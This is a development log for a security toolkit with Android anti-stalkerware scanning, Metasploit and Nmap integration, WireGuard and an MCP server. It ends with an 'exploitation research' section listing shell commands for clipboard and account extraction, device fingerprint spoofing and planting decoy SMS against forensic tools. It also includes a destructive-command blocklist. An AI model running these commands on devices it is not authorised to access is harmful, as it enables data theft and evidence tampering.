Description | +|------|--------|-------------| +| `core/msf_terms.py` | Created | MSF settings term bank (54 settings) | +| `core/msf_modules.py` | Created | MSF module library (45 modules) | +| `modules/msf.py` | Rewritten | Enhanced offense menu (v2.0) | + +### Integration Points + +The term bank and module library integrate with: +- `modules/msf.py` - Uses for help text and validation +- Future: `modules/agent_hal.py` - AI can reference descriptions +- Future: `core/pentest_pipeline.py` - Pipeline can use module metadata + +### Architecture Benefits + +1. **Centralized Knowledge** - Option descriptions and module info in one place +2. **Offline Documentation** - Help text available without MSF connection +3. **Consistent UX** - Same descriptions everywhere in the app +4. **Extensible** - Easy to add new settings and modules +5. **AI-Friendly** - Structured data for LLM context injection + +--- + +## Session 11 - 2026-02-14: Nmap Scanner & Scan Monitor + +Added two new tools: an Nmap scanner in the recon module and a real-time scan monitor in the defense module. + +### Nmap Scanner (Recon) + +- Menu entry `[X]` under Tools in OSINT menu +- Submenu with 9 scan types: Top 100, Quick, Full TCP, Stealth SYN, Service Detection, OS Detection, Vuln Scan, UDP, Custom +- Live-streaming output with color coding (green=open, dim=closed/filtered, cyan=scan headers) +- Open port summary after completion, optional save to file +- Tested on 127.0.0.1 - found 10 open ports in 0.05s + +### Scan Monitor (Defense) + +- Menu entry `[8]` in Defense module +- Uses `tcpdump` (with auto `sudo` elevation) to capture SYN-only packets in real-time +- Per-IP tracking with detection thresholds: + - Port scan: 10+ unique ports in 30s + - Brute force: 15+ connections to single port in 60s +- Counter-scan capability: auto-scans detected attacker IPs with nmap in daemon threads +- IP whitelisting and local IP auto-exclusion +- Logging to `results/scan_monitor.log` +- Stale entry pruning every 5s (120s TTL) +- Clean Ctrl+C shutdown with summary stats + +### Files Modified + +| File | Action | Description | +|------|--------|-------------| +| `modules/recon.py` | Modified | Added Nmap scanner (3 methods, menu entry, handler) | +| `modules/defender.py` | Modified | Added Scan Monitor (3 methods, 4 new imports, menu entry, handler) | + +--- + +## Session 14 - 2026-02-15: Android Protection Shield (Phase 4.6) + +### Overview + +Built a comprehensive anti-stalkerware and anti-spyware module for Android devices. Uses the existing ADB infrastructure (`core/hardware.py`) to scan connected Android devices for surveillance threats — from commercial stalkerware (mSpy, FlexiSpy, Cocospy, etc.) to government-grade spyware (Pegasus, Predator, Hermit, FinSpy). Provides detection, analysis, and remediation capabilities. + +### Architecture + +The module follows AUTARCH's standard pattern: core singleton manager + CLI module + Flask blueprint + web template. All ADB operations delegate to `HardwareManager._run_adb()` to reuse existing device connectivity. + +``` +core/android_protect.py # AndroidProtectManager singleton (~650 lines) +modules/android_protect.py # CLI menu, CATEGORY=defense (~450 lines) +web/routes/android_protect.py # Flask blueprint, 33 routes (~300 lines) +web/templates/android_protect.html # Web UI, 4 tabs (~500 lines) +data/stalkerware_signatures.json # Threat signature database +``` + +### Threat Signature Database + +`data/stalkerware_signatures.json` — JSON database with: +- **103 stalkerware families** with 275 package names (mSpy, FlexiSpy, Cocospy, XNSPY, Hoverwatch, KidsGuard Pro, Pegasus-adjacent RATs like SpyNote/DroidJack/AhMyth, APT spyware like VajraSpy/BadBazaar/GravityRAT, etc.) +- **10 government spyware families** with file, process, domain, and property indicators: + - Pegasus (NSO Group), Predator (Cytrox/Intellexa), Hermit (RCS Lab), FinSpy (FinFisher), QuaDream REIGN, Candiru, Chrysaor, Exodus (eSurv), Phantom (Paragon), Dark Caracal +- **8 dangerous permission combos** (full_surveillance, communication_intercept, accessibility_spy, keylogger_behavior, call_intercept, etc.) +- **12 suspicious system package names** (packages mimicking Android system apps) +- **9 legitimate accessibility apps** (whitelist for TalkBack, Samsung, Google accessibility) +- Updatable from GitHub (AssoEchap/stalkerware-indicators community feed) + +### Core Module: `core/android_protect.py` + +`AndroidProtectManager` singleton with: + +**Detection (11 scan types):** +- `scan_stalkerware()` — match installed packages against 275+ signatures +- `scan_hidden_apps()` — apps with no launcher icon (filtered from known system prefixes) +- `scan_device_admins()` — `dumpsys device_policy`, flag known-bad packages +- `scan_accessibility_services()` — enabled accessibility services, cross-ref whitelist +- `scan_notification_listeners()` — apps reading notifications, flag stalkerware +- `scan_usage_access()` — apps with usage stats permission +- `scan_spyware_indicators()` — government spyware file paths, processes, properties via ADB shell +- `scan_system_integrity()` — SELinux, verified boot, dm-verity, su binary, build fingerprint +- `scan_suspicious_processes()` — files in `/data/local/tmp/`, root processes from `/data/` +- `scan_certificates()` — user-installed CA certs in `/data/misc/user/0/cacerts-added/` +- `scan_network_config()` — HTTP proxy, DNS, private DNS, active VPN +- `scan_developer_options()` — USB debug, unknown sources, mock locations, OEM unlock + +**Permission Analysis:** +- `analyze_app_permissions()` — full granted/denied breakdown from `dumpsys package` +- `find_dangerous_apps()` — match all non-system apps against 8 dangerous permission combos +- `permission_heatmap()` — matrix of 12 dangerous permissions across all apps + +**Remediation:** +- `disable_threat()` — `pm disable-user` +- `uninstall_threat()` — `pm uninstall` (tries `--user 0` first, then without) +- `revoke_dangerous_perms()` — revokes 16 dangerous permissions +- `remove_device_admin()` — `dpm remove-active-admin` (auto-discovers component) +- `remove_ca_cert()` — removes user CA cert file +- `clear_proxy()` — clears HTTP proxy settings +- `disable_usb_debug()` — turns off ADB + +**Composite Scans:** +- `quick_scan()` — stalkerware + device admins + accessibility (fast) +- `full_protection_scan()` — all 11 scans + permission analysis, returns comprehensive report +- `export_scan_report()` — saves JSON to `data/android_protect//scans/` + +**Shizuku/Shield Management:** +- Shizuku: install, start, stop, status (for privileged ops on non-rooted devices) +- Shield app: install, configure (broadcast intent), grant permissions, status query + +### CLI Module: `modules/android_protect.py` + +CATEGORY = "defense". Interactive menu with 30+ options organized in sections: +- Quick Actions (quick scan, full scan, export) +- Detection (11 individual scans) +- Permission Analysis (dangerous apps, per-app analysis, heatmap) +- Remediation (disable, uninstall, revoke, remove admin, remove cert, clear proxy) +- Shizuku & Shield (status, install, start, configure, permissions) +- Database (stats, update) +- Device selector with auto-pick for single device + +### Web Blueprint: `web/routes/android_protect.py` + +Blueprint `android_protect_bp` at `/android-protect/` with 33 routes: +- `GET /` — render template with status and signature stats +- `POST /scan/{quick,full,export,stalkerware,hidden,admins,accessibility,listeners,spyware,integrity,processes,certs,network,devopt}` +- `POST /perms/{dangerous,analyze,heatmap}` +- `POST /fix/{disable,uninstall,revoke,remove-admin,remove-cert,clear-proxy}` +- `POST /shizuku/{status,install,start}` +- `POST /shield/{status,install,configure,permissions}` +- `POST /db/{stats,update}` +- File upload support for Shizuku/Shield APK install routes + +### Web Template: `web/templates/android_protect.html` + +4-tab interface (Scan | Permissions | Remediate | Shizuku): +- **Scan tab**: Quick/Full scan buttons, 11 individual scan buttons, color-coded severity results (critical=red, high=orange, medium=yellow, low=green), severity badges, structured output for each scan type +- **Permissions tab**: Find Dangerous Apps, per-app analyzer (package name input), permission heatmap table with colored cells +- **Remediate tab**: Package input + disable/uninstall/revoke/remove-admin buttons, proxy clearing, CA cert list with per-cert remove buttons +- **Shizuku tab**: Shizuku status cards (installed/running/version), install APK (file upload), start service, Shield app status/install/permissions, signature DB stats and update + +Device selector dropdown at top with refresh button, auto-populated from `/hardware/adb/devices`. + +### Integration + +- `web/app.py` — import + register `android_protect_bp` (15th blueprint) +- `web/templates/base.html` — "Shield" link added in Tools sidebar section (after iPhone Exploit) + +### Files Created + +| File | Lines | Description | +|------|-------|-------------| +| `data/stalkerware_signatures.json` | ~700 | 103 families, 275 packages, 10 govt spyware, 8 perm combos | +| `core/android_protect.py` | ~650 | AndroidProtectManager singleton | +| `modules/android_protect.py` | ~450 | CLI menu (defense category) | +| `web/routes/android_protect.py` | ~300 | Flask blueprint, 33 routes | +| `web/templates/android_protect.html` | ~500 | Web UI, 4 tabs | + +### Files Modified + +| File | Changes | +|------|---------| +| `web/app.py` | Import + register `android_protect_bp` | +| `web/templates/base.html` | Added "Shield" link in Tools sidebar | + +### Verification + +``` +$ py_compile core/android_protect.py ✓ +$ py_compile modules/android_protect.py ✓ +$ py_compile web/routes/android_protect.py ✓ +$ Flask URL map: 33 routes under /android-protect/ +$ autarch.py -l: [android_protect] listed under defense +$ Signature DB: 103 families, 275 packages, 10 govt spyware, 8 combos +``` + +--- + +## Session 11 - 2026-02-15: Tracking Honeypot + +Added the Tracking Honeypot feature to the Android Protection Shield — feeds fake data to ad trackers (Google, Meta, Amazon, data brokers) while letting real apps function normally. + +### Concept + +3-tier protection system: +- **Tier 1 (ADB)**: Reset ad ID, opt out of tracking, ad-blocking DNS, disable WiFi/BT scanning +- **Tier 2 (Shizuku)**: Restrict tracker background data, revoke tracking perms, clear tracker data, force-stop trackers +- **Tier 3 (Root)**: Hosts file blocklist (2000+ domains), iptables redirect, fake GPS location, rotate device identity, fake device fingerprint + +### Files Created + +| File | Lines | Description | +|------|-------|-------------| +| `data/tracker_domains.json` | ~2500 | 2038 unique domains, 139 tracker packages, fake data templates | + +### Files Extended + +| File | Changes | +|------|---------| +| `core/android_protect.py` | +35 honeypot methods (helpers, status, detection, tier 1/2/3, composite, data mgmt) | +| `modules/android_protect.py` | +18 handler methods, menu items 70-87 in new "Tracking Honeypot" section | +| `web/routes/android_protect.py` | +28 routes under `/android-protect/honeypot/` | +| `web/templates/android_protect.html` | +5th "Honeypot" tab with 7 sections, ~20 JS functions | +| `autarch_dev.md` | Phase 4.7 status + feature documentation | + +### Key Implementation Details + +- Tracker DB: 5 categories (advertising, analytics, fingerprinting, social_tracking, data_brokers), 12 companies, 4 DNS providers +- Fake data templates: 35 locations (Eiffel Tower to Area 51), 42 absurd searches, 30 luxury purchases, 44 interests, 25 device models +- Per-device honeypot state persisted in `data/android_protect//honeypot_config.json` +- Hosts blocklist uses same su/mount-remount pattern as android_exploit.py +- Composite activate/deactivate applies all protections for chosen tier and tracks state + +### Verification + +``` +$ py_compile core/android_protect.py OK +$ py_compile modules/android_protect.py OK +$ py_compile web/routes/android_protect.py OK +$ Flask URL map: 28 honeypot routes registered +$ Tracker stats: 2038 domains, 12 companies, 139 packages +$ Hosts generation: 2043 lines +``` + +--- + +## Session 15 - 2026-02-15: WireGuard VPN + Remote ADB (Phase 4.8) + +Integrated WireGuard VPN management from `/home/snake/wg_setec/` into AUTARCH with added remote ADB support (TCP/IP and USB/IP over WireGuard tunnel). + +### New Files + +- **core/wireguard.py** - WireGuardManager singleton (~500 lines) + - Server management: start/stop/restart via wg-quick, status via `wg show` + - Key generation: `wg genkey`/`wg pubkey`/`wg genpsk` + - Client CRUD: create/delete/toggle peers, JSON persistence in `data/wireguard/` + - Config generation: client .conf files, QR codes via qrcode+Pillow + - Remote ADB TCP/IP: connect/disconnect via WG tunnel IPs, auto-connect active peers + - USB/IP: kernel module management, list/attach/detach remote USB devices + - Import existing peers from wg0.conf + - UPnP integration for port 51820/UDP + +- **modules/wireguard_manager.py** - CLI menu (CATEGORY=defense, ~330 lines) + - 18 menu actions: server, clients, ADB TCP/IP, USB/IP, config generation + - Same interactive patterns as android_protect.py + +- **web/routes/wireguard.py** - Flask blueprint, 25 routes (~200 lines) + - `/wireguard/` prefix, all `@login_required` + - Server, clients, ADB, USB/IP, UPnP route groups + +- **web/templates/wireguard.html** - 4-tab web UI (~470 lines) + - Dashboard: status cards, server controls, peer table + - Clients: create form, client table with toggle/delete, detail view with config/QR + - Remote ADB: TCP/IP connect/disconnect, USB/IP module management and device attach + - Settings: import peers, refresh UPnP + +### Modified Files + +- **web/app.py** - Added `wireguard_bp` blueprint (16th blueprint) +- **web/templates/base.html** - Added WireGuard link in System nav section +- **autarch_settings.conf** - Added `[wireguard]` config section + +### Architecture Decisions + +- JSON storage (`data/wireguard/clients.json`) instead of SQLite — matches android_protect pattern +- Reuses AUTARCH auth (`@login_required`) instead of separate bcrypt auth from wg_setec +- `find_tool()` for binary lookup (wg, wg-quick, usbip, adb) +- Config from `autarch_settings.conf [wireguard]` section with sensible defaults +- USB/IP support: `vhci-hcd` kernel module + `usbip` CLI for importing remote USB devices over WG tunnel +- Peer config file modifications use `sudo tee` for permission handling + +### Verification + +``` +$ py_compile core/wireguard.py OK +$ py_compile modules/wireguard_manager.py OK +$ py_compile web/routes/wireguard.py OK +$ Flask URL map: 25 wireguard routes registered +$ WireGuardManager: wg=True, usbip=False, interface=wg0, subnet=10.1.0.0/24 +``` + +--- + +## Session 16 - 2026-02-15: Archon Android Companion App (Phase 4.9) + +Created the Android companion app framework "Archon" (Greek archon = ruler, root of "autarch"). + +### New: `autarch_companion/` — 29 files + +- **com.darkhal.archon** — Kotlin Android app, Material Design 3, dark theme +- **Single Activity + Bottom Navigation** with 4 tabs: + 1. **Dashboard** — ADB TCP/IP toggle, USB/IP export, kill/restart ADB with auto-restart watchdog (5s interval), WireGuard tunnel status + 2. **Links** — 9-card grid linking to AUTARCH web UI sections via system browser + 3. **BBS** — Full-screen WebView loading local terminal HTML, Veilid-wasm placeholder, command system (help/connect/status/about/clear/version) + 4. **Settings** — Server IP, web/ADB/USB-IP ports, auto-restart toggle, BBS address, connection test (ping + TCP) + +### Key Implementation Details + +- **AdbManager.kt** — root shell commands: `setprop service.adb.tcp.port`, `stop adbd`, `start adbd` +- **UsbIpManager.kt** — `usbipd -D` daemon control, `usbip list -l` device listing +- **ShellExecutor.kt** — `Runtime.exec()` with timeout, root via `su -c` +- **PrefsManager.kt** — SharedPreferences wrapper for 6 config keys +- **BBS terminal** — HTML/CSS/JS with green-on-black monospace theme, command history (arrow keys), @JavascriptInterface bridge to native Android +- **Veilid strategy** — veilid-wasm in WebView (no official Kotlin SDK exists), placeholder until BBS VPS is deployed + +### Architecture Decisions + +- No third-party dependencies — only AndroidX + Material Design 3 +- veilid-wasm in WebView chosen over JNI bindings (simpler, less maintenance) +- Root required for ADB/USB-IP control (standard for companion management apps) +- BBS has full local command system that works offline (help, about, version, status) +- Links open in system browser rather than embedded WebView (simpler, respects user browser choice) + +### Build Config + +- Gradle 8.5, AGP 8.2.2, Kotlin 1.9.22 +- minSdk 26 (Android 8.0), targetSdk 34 (Android 14) +- Build requires Android Studio (no Android SDK on Orange Pi) + +### Network Discovery (added same session) + +Added auto-discovery so Archon finds AUTARCH servers without manual IP entry. + +**Server (`core/discovery.py`):** +- mDNS: advertises `_autarch._tcp.local.` via Python `zeroconf` package +- Bluetooth: sets adapter name to "AUTARCH", enables discoverable, requires AUTH+ENCRYPT+SSP +- Auto-starts on Flask boot, 3 API routes for status/start/stop +- Config: `[discovery]` section in autarch_settings.conf + +**App (`service/DiscoveryManager.kt`):** +- Scans via NSD (mDNS) + Wi-Fi Direct + Bluetooth in parallel +- Auto-configures server IP/port when found +- Dashboard: discovery card with SCAN button, auto-scans on launch +- Settings: AUTO-DETECT SERVER button fills in IP/port from scan + +## Session 17 - 2026-02-15: HuggingFace Inference + MCP Server + Service Mode (Phase 4.10) + +Continued from Session 16. Added 4 features: HuggingFace Inference API backend, MCP server, systemd service, and sideload companion app. + +### HuggingFace Inference API +- `core/llm.py` — `HuggingFaceLLM` class using `huggingface_hub.InferenceClient` +- Text generation + chat completion with streaming support +- Config section `[huggingface]` in autarch_settings.conf +- `core/config.py` — `get_huggingface_settings()` method +- Web settings page + `/settings/llm` POST route for all 4 backends +- CLI menu: Switch Backend now shows 4 options (GGUF, SafeTensors, Claude, HuggingFace) +- Status line displays backend label for all 4 types + +### MCP Server (Model Context Protocol) +- `core/mcp_server.py` — FastMCP server with 11 tools: + nmap_scan, geoip_lookup, dns_lookup, whois_lookup, packet_capture, + wireguard_status, upnp_status, system_info, llm_chat, android_devices, config_get +- Two transports: **stdio** (for Claude Desktop/Code) and **SSE** (for web clients) +- CLI: `python autarch.py --mcp [stdio|sse] --mcp-port 8081` +- Menu option [10]: Start/Stop SSE, Show Config Snippet, Run Stdio +- Web: 4 endpoints under `/settings/mcp/` (status, start, stop, config) +- Config snippet generator outputs JSON for Claude Desktop `mcpServers` config + +### Systemd Service +- `scripts/autarch-web.service` — runs `autarch.py --web --no-banner` +- CLI: `python autarch.py --service [install|start|stop|restart|status|enable|disable]` +- Menu [8]: Full service management UI + +### Sideload Companion App +- Menu [9]: Finds Archon APK in known locations, lists ADB devices, installs via `adb install -r` + +### Web UI Overhaul (Settings Page) +- LLM section now shows all 4 backends with individual save+activate forms +- Each backend form has relevant settings fields +- MCP section with status/start/stop/config buttons and JSON output display + +--- + +## Session 18 — 2026-02-15: Codebase Stub/Placeholder Audit + +Full scan of all Python, Kotlin, JS, and HTML source for stubs, placeholders, and incomplete implementations. + +### Genuine Stubs & Placeholders (TODO list) + +#### 1. AUTARCH REST API (core/menu.py) +- **File:** `core/menu.py:2189-2314` +- **What:** `show_autarch_api()` — The API settings menu displays config (enable/disable, port, key) and lists endpoint documentation, but the endpoints themselves (`/api/v1/status`, `/api/v1/modules`, `/api/v1/scan`, `/api/v1/cve`, `/api/v1/agent/task`) are **not implemented** in the web routes. The docs page says "Endpoints (coming soon)" and "Full documentation will be available when the API is implemented in a future version." +- **Action needed:** Implement the REST API routes in `web/routes/` and connect them to core functionality. Alternatively, the MCP server may supersede this — decide whether both are needed. + +#### 2. Veilid BBS — Archon Companion App (autarch_companion) +- **File:** `app/src/main/assets/bbs/veilid-bridge.js` (lines 28, 62, 85) +- **File:** `app/src/main/kotlin/com/darkhal/archon/ui/BbsFragment.kt` (line 72) +- **What:** The entire BBS tab is a placeholder framework. `VeilidBBS` class has stub `connect()`, `sendMessage()`, and `disconnect()` methods. The WebView loads a terminal UI but cannot actually connect to anything. The Kotlin side has a placeholder Veilid bootstrap config JSON. +- **Action needed:** Deploy an Autarch BBS server on a VPS, integrate `veilid-wasm` into the WebView assets, and wire up the connection protocol. This is blocked on the VPS/BBS server being built. + +#### 3. Wi-Fi Direct Port Discovery (autarch_companion) +- **File:** `app/src/main/kotlin/com/darkhal/archon/service/DiscoveryManager.kt` (line 304) +- **What:** Wi-Fi Direct connection handler hardcodes port 8080 with comment "will be refined via mDNS or API call". +- **Action needed:** Minor — implement port discovery via mDNS `_autarch._tcp` service or a lightweight API handshake after Wi-Fi Direct connection is established. + +### False Positives Excluded +- **HTML `placeholder=""` attributes** — Form input hints in web templates (normal HTML) +- **Pentest tree `NodeStatus.TODO`** — Legitimate pentest workflow status, not code stubs +- **`except: pass` blocks** — Normal exception swallowing in error handlers throughout codebase +- **`return []`/`return None`** — Normal error-path return values +- **"fake" references** — Legitimate anti-stalkerware/honeypot features (fake location, fake fingerprint) +- **`{username}` in osint.py** — URL template placeholder for OSINT site lookups +- **node_modules/ and build/ directories** — Third-party code, not ours + +### Codebase Health Summary +The codebase is surprisingly clean. Only **3 genuine stub areas** found across ~50 source files: +1. REST API endpoints (menu config UI exists but no actual routes) +2. Veilid BBS (intentional — waiting on VPS server deployment) +3. Wi-Fi Direct port (minor hardcoded default) + +--- + +## Session 15 - 2026-02-15: Archon Self-Contained Privilege Server & Module System + +### Shizuku Replaced — Full Self-Containment + +Removed all Shizuku dependencies. Archon now embeds its own privileged server process, +modeled after how Shizuku actually works internally (studied from their GitHub source). + +**Thanks to Shizuku (RikkaApps/Shizuku)** — their open-source code was the guide for +understanding the `app_process` bootstrapping pattern. The technique of using +`CLASSPATH= /system/bin/app_process /system/bin ` to run a Java class +at shell (UID 2000) privilege level is brilliant engineering. We studied their +`ServiceStarter.java`, `ShizukuService.java`, and `Starter.kt` to build our own +simplified version. Credit where credit is due. + +### Architecture: Archon Privilege Server + +``` +App → ArchonClient (TCP socket) → ArchonServer (app_process, UID 2000) +``` + +- **ArchonServer.java** — Pure Java server, runs via `app_process` at shell level + - TCP socket on localhost:17321, JSON protocol, token auth + - Command blocklist for safety (rm -rf, mkfs, reboot, etc.) + - Special commands: `__ping__`, `__shutdown__`, `__info__` + - Logs to `/data/local/tmp/archon_server.log` + +- **ArchonClient.kt** — App-side TCP client + bootstrap logic + - Generates token, builds `app_process` command + - Executes via LocalAdbClient (wireless debugging) + - Manages server lifecycle (start/stop/ping) + +- **Privilege chain:** ROOT → ARCHON_SERVER → LOCAL_ADB → SERVER_ADB → NONE + +### Module System + +Created a proper module system with interface + registry: + +- **ArchonModule.kt** — Interface: id, name, actions, execute, status +- **ModuleManager.kt** — Singleton registry +- **ShieldModule.kt** — Anti-stalkerware/spyware (13 actions) + - Package scanning against known stalkerware patterns + - Permission auditing, device admin scanning, cert checking + - Disable/uninstall/revoke actions through privilege chain +- **HoneypotModule.kt** — Anti-tracking (13 actions) + - Tier 1 (ADB): reset ad ID, private DNS, disable scanning + - Tier 2 (app-specific): restrict trackers, revoke perms + - Tier 3 (root): hosts blocklist, iptables redirect, identity randomization + +### UI Changes + +- BBS tab → Modules tab (BBS was a placeholder for Veilid) +- Modules tab shows server status + Shield/Honeypot cards with action buttons +- Setup tab: removed Shizuku section, added Archon Server start/stop controls +- Flow: Wireless Debugging pair → Start Archon Server → Modules ready + +### Files Changed +- New: `ArchonServer.java`, `ArchonClient.kt`, `ArchonModule.kt`, `ModuleManager.kt`, + `ShieldModule.kt`, `HoneypotModule.kt`, `ModulesFragment.kt`, `fragment_modules.xml` +- Modified: `PrivilegeManager.kt`, `SetupFragment.kt`, `fragment_setup.xml`, + `MainActivity.kt`, `build.gradle.kts`, `AndroidManifest.xml`, `bottom_nav.xml`, + `nav_graph.xml`, `strings.xml`, `LocalAdbClient.kt` +- Deleted: `ShizukuManager.kt`, `BbsFragment.kt`, `fragment_bbs.xml` + +### LocalAdbClient.kt Fix + +Fixed pre-existing build errors with libadb-android v3.1.1 API: +- Replaced `sun.security.x509` cert generation (not available on Android) + with pure DER/ASN.1 encoding — builds X.509 v3 certs from raw bytes +- Fixed `openStream()` → `openInputStream()` → `bufferedReader()` chain +- Created anonymous `AbsAdbConnectionManager` subclass with proper overrides + +### Deep Dive: What Shell-Level (UID 2000) Can Actually Do + +At UID 2000, we have access to a massive surface area that normal apps never touch. +This is the same privilege level as plugging in a USB cable and running `adb shell`. + +#### System Commands Available at Shell Level + +| Command | What It Does | Security Relevance | +|---------|-------------|-------------------| +| `pm` | Package manager — install, uninstall, disable, grant/revoke perms | Remove stalkerware, revoke spyware permissions | +| `am` | Activity manager — start activities, broadcast, force-stop | Kill malicious processes, trigger system actions | +| `settings` | Read/write system, secure, global settings | Change device identifiers, DNS, proxy, accessibility | +| `dumpsys` | Dump any system service state | Extract device policy, running processes, battery stats | +| `cmd` | Direct commands to system services | Control appops, jobscheduler, connectivity | +| `content` | Query/modify content providers | Read/write contacts, SMS, call log (for backup/wipe) | +| `service call` | Raw Binder IPC to system services | Clipboard access, service manipulation | +| `input` | Inject touch/key events | UI automation | +| `screencap` / `screenrecord` | Capture display | Evidence collection | +| `svc` | Control wifi, data, power, usb, nfc | USB lockdown, NFC control | +| `appops` | App operations management | Restrict background activity, sensors | +| `dpm` | Device policy manager | Remove device admins | +| `getprop` / `setprop` | System properties | Fingerprint spoofing, build info | +| `logcat` | System logs | Monitor for exploit indicators | +| `run-as` | Switch to debuggable app context | Access debuggable app data | +| `cmd wifi` | WiFi subsystem commands | List networks, saved passwords | + +#### What Shell CANNOT Do (Root Required) + +- Write to /system, /vendor, /product partitions +- `setenforce 0` (set SELinux permissive) — requires root/kernel +- Access other apps' /data/data/ directories directly +- Load/unload kernel modules +- iptables/nftables (requires CAP_NET_ADMIN) +- Mount/unmount filesystems +- Modify /dev nodes +- Write to /proc/sys/ + +--- + +### Exploitation Research: Creative Uses of Shell Access + +#### 1. CVE-2024-0044 / CVE-2024-31317: Run-As Any UID (Android 12-14) + +**This is the big one.** Disclosed by Meta security researchers. + +The `run-as` command trusts package data from `/data/system/packages.list`. At shell +level, we can craft a malicious package entry that makes `run-as` switch to ANY UID, +including UID 0 (root) or UID 1000 (system). This effectively gives **temporary root**. + +How it works: +1. Shell can write to `/data/local/tmp/` +2. Exploit the TOCTOU race in how `run-as` reads package info +3. `run-as` runs as UID 2000 but switches context to target UID +4. Patched in Android 14 QPR2 and Android 15, but many devices still vulnerable + +**Impact:** Full root access on unpatched Android 12-14 devices. +**Archon action:** Add a detection module that checks if the device is vulnerable, +and if so, can use it for legitimate protection purposes (installing protective +system-level hooks that persist until reboot). + +#### 2. Anti-Cellebrite / Anti-Forensic Module + +Cellebrite UFED and similar forensic tools use several attack vectors: +- ADB exploitation (they need ADB enabled or exploit USB) +- Bootloader-level extraction +- Known CVE exploitation chains +- Content provider dumping + +**What shell can do to defend:** + +``` +# USB Lockdown — disable all USB data modes +svc usb setFunctions charging +settings put global adb_enabled 0 + +# Monitor USB events in real-time +# (detect when forensic hardware connects) +cat /proc/bus/usb/devices # USB device enumeration + +# Detect Cellebrite-specific patterns: +# - Cellebrite identifies as specific USB vendor IDs +# - Known ADB command sequences (mass dumpsys, content query storms) +# - Rapid content provider enumeration + +# Emergency data protection on forensic detection: +# - Revoke all app permissions +# - Clear clipboard +# - Force-stop sensitive apps +# - Disable USB debugging +# - Change lock to maximum security + +# Feed disinformation via content providers: +# content insert --uri content://sms --bind address:s:fake --bind body:s:decoy +# (populate with convincing but fake data before surrendering device) +``` + +**Architecture for Archon:** +- Background monitoring thread watching USB events + logcat +- Known forensic tool USB vendor ID database +- Configurable responses: lockdown / alert / wipe sensitive / plant decoys +- "Duress PIN" concept: entering a specific PIN triggers data protection + +#### 3. Anti-Pegasus / Anti-Zero-Click Module + +NSO Group's Pegasus and similar state-level spyware use: +- Zero-click exploits via iMessage, WhatsApp, SMS +- Kernel exploits for persistence +- Memory-only implants (no files on disk) + +**What shell can monitor:** + +``` +# Check for suspicious processes +dumpsys activity processes | grep -i "com.apple\|pegasus\|chrysaor" + +# Monitor /proc for hidden processes +ls -la /proc/*/exe 2>/dev/null | grep -v "Permission denied" + +# Check for unusual network connections +cat /proc/net/tcp6 | awk '{print $2}' # Active TCP6 connections +# Cross-reference with known Pegasus C2 IP ranges + +# Check for memory-only implants +cat /proc/*/maps 2>/dev/null | grep -E "rwxp.*deleted" +# rwx+deleted mappings = code running from deleted files (classic implant pattern) + +# Monitor for exploit indicators +logcat -d | grep -iE "exploit|overflow|heap|spray|jit|oat" + +# Check for unauthorized root +ls -la /system/xbin/su /system/bin/su /sbin/su 2>/dev/null +getprop ro.debuggable +getprop ro.secure + +# Check SELinux for permissive domains +cat /sys/fs/selinux/enforce # 1=enforcing, 0=permissive + +# Scan for known spyware artifacts +pm list packages | grep -iE "com\.network\.|com\.service\.|bridge|carrier" +# Pegasus uses innocuous-looking package names + +# Check for certificate injection (MITM) +ls /data/misc/user/0/cacerts-added/ 2>/dev/null +# Spyware often installs CA certs for traffic interception +``` + +**Archon Shield integration:** +- Periodic background scans (configurable interval) +- Known C2 IP/domain database (updated from AUTARCH server) +- Process anomaly detection (unexpected UIDs, deleted exe links) +- Network connection monitoring against threat intel +- Alert system with severity levels + +#### 4. Device Fingerprint Manipulation / Play Integrity + +For making GrapheneOS appear as stock Android to Play Services: + +``` +# Android ID manipulation +settings put secure android_id $(cat /dev/urandom | tr -dc 'a-f0-9' | head -c 16) + +# Build fingerprint spoofing (some writable via setprop) +setprop ro.build.fingerprint "google/raven/raven:14/UP1A.231005.007/10754064:user/release-keys" +setprop ro.product.model "Pixel 6 Pro" +setprop ro.product.manufacturer "Google" + +# GSF (Google Services Framework) ID — stored in settings +settings put secure android_id + +# Keystore attestation is TEE-bound and cannot be spoofed at shell level +# BUT: Play Integrity has multiple levels: +# - MEETS_BASIC_INTEGRITY: Can be satisfied with prop spoofing +# - MEETS_DEVICE_INTEGRITY: Requires matching CTS profile +# - MEETS_STRONG_INTEGRITY: Requires hardware attestation (impossible to fake) + +# For BASIC integrity on GrapheneOS: +# Spoof enough props to pass CTS profile matching +# This is what Magisk's MagiskHide and Play Integrity Fix do + +# Donor key approach: if we can obtain a valid attestation certificate chain +# from a donor device, we could theoretically replay it. BUT: +# - Keys are burned into TEE/SE at factory +# - Google revokes leaked keys quickly +# - This is legally/ethically complex + +# More practical: use the "pretend to be old device" approach +# Older devices don't need hardware attestation +setprop ro.product.first_api_level 28 # Pretend we shipped with Android 9 +``` + +#### 5. NFC on GrapheneOS + +GrapheneOS restricts some NFC functionality for security: + +``` +# Enable NFC +svc nfc enable + +# Set default HCE (Host Card Emulation) app +settings put secure nfc_payment_default_component com.darkhal.archon/.NfcPaymentService + +# Check NFC adapter state +dumpsys nfc | grep -E "mState|mEnabled|mScreenState" + +# The real issue: GrapheneOS blocks NFC in certain states +# At shell level we can: +# 1. Monitor NFC state changes +# 2. Re-enable NFC when GrapheneOS disables it +# 3. Set up a persistent watchdog that keeps NFC active + +# For HCE apps that need to work on GrapheneOS: +# cmd nfc enable-reader-mode # force reader mode +# settings put secure nfc_payment_foreground 1 # require foreground +``` + +#### 6. Temporary Root That Clears on Reboot + +Multiple approaches possible at shell level: + +**A. CVE exploitation (device-specific):** +- Scan for known unpatched vulns on the running kernel +- Exploit → get root → install temp hooks → hooks die on reboot +- Kernel version available via `uname -r`, match against CVE database + +**B. Debuggable system app abuse:** +- `pm list packages -3` vs `pm list packages -s` — find system apps +- Check which are debuggable: `run-as id` +- Debuggable system apps = system UID access via run-as + +**C. Writable /data partition exploitation:** +- Shell owns /data/local/tmp/ fully +- Some init scripts read from /data/ locations +- On next boot, if we planted scripts, they could run at higher privilege +- BUT: SELinux contexts usually prevent this on modern Android + +**D. `app_process` privilege chain:** +- Our ArchonServer already runs at shell level +- We can chain: ArchonServer → exploit → root process +- Root process creates a Unix socket +- ArchonServer proxies commands to root socket +- Root socket dies on reboot (no persistence) + +#### 7. Key/Credential Extraction + +``` +# WiFi passwords (Android 10+) +cmd wifi list-networks # List saved networks +# Full password extraction requires root on modern Android + +# VPN credentials +dumpsys connectivity | grep -A5 "VPN" + +# Account information +dumpsys account | grep -E "Account|name|type" + +# Clipboard (potentially contains passwords) +service call clipboard 2 i32 1 i32 0 # getPrimaryClip (raw binder call) + +# Accessibility service data (if 